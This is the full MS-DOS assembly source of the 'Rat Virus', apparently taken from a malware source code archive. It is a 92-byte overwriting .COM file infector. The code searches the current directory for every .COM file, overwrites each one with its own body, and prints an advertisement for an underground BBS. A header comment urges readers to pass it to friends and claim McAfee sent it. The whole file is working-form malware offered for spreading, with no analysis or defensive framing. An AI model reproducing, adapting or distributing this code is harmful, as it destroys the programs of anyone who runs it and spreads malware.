MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.rat.asm
2021-01-12 17:55:26 -06:00

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;*************************************
;**The Rat Virus - Overwriting **
;** Non-Resident **
;** Com File Infector**
;** Author: -Ajax- **
;** This virus is 92 bytes long **
;** Because it is made in 1992 :) **
;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
;** Pass this unscannable around to **
;** Your friends,and tell em McAfee **
;** sent ya! **
;**/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/**
;** Underground Asylum-904/688.6494 **
;**"Replication Is Our Middle Name!"**
;*************************************
retf macro ret_count ; Fixup for Assembler
ifdef ret_count
db 0CAh
dw ret_count
elseif
db 0CBh
endif
endm
retn macro ret_count
ifdef ret_count
db 0C2h
dw ret_count
elseif
db 0C3h
endif
endm
movseg macro reg16, unused, Imm16 ; Fixup for Assembler
ifidn <reg16>, <bx>
db 0BBh
endif
ifidn <reg16>, <cx>
db 0B9h
endif
ifidn <reg16>, <dx>
db 0BAh
endif
ifidn <reg16>, <si>
db 0BEh
endif
ifidn <reg16>, <di>
db 0BFh
endif
ifidn <reg16>, <bp>
db 0BDh
endif
ifidn <reg16>, <sp>
db 0BCh
endif
ifidn <reg16>, <BX>
db 0BBH
endif
ifidn <reg16>, <CX>
db 0B9H
endif
ifidn <reg16>, <DX>
db 0BAH
endif
ifidn <reg16>, <SI>
db 0BEH
endif
ifidn <reg16>, <DI>
db 0BFH
endif
ifidn <reg16>, <BP>
db 0BDH
endif
ifidn <reg16>, <SP>
db 0BCH
endif
dw seg Imm16
endm
location_file equ 9Eh ; location of file in DTA
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h ; Starting of all .COM files
rat_virus proc far
start:
mov ah,4Eh ; fixup for making undetectable
mov cl,20h ;
mov dx,offset all_com_files ;
int 21h ;
;
start_infecting:
mov ax,3D01h ;
mov dx,Location_file ;
int 21h ; Open target file.
mov bx,ax
mov dx,offset ds:[100h] ; Location of file to write.
mov cl,5ch ; File size to overwrite.
mov ah,40h ;
int 21h ; Write to filename in dx
;
mov ah,3Eh ;
int 21h ;
;
mov ah,4Fh ;
int 21h ;
;
jnc start_infecting ; If more files,keep goin
mov ah,09h ;
mov dx,offset bbs_ad ; display my bbsad!
int 21h
int 20h ; get to dos.
all_com_files db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 00h ; data for all com files
; in current dir..
bbs_ad db 'Underground Asylum BBS - [904]688.6494$'
rat_virus endp
seg_a ends
end start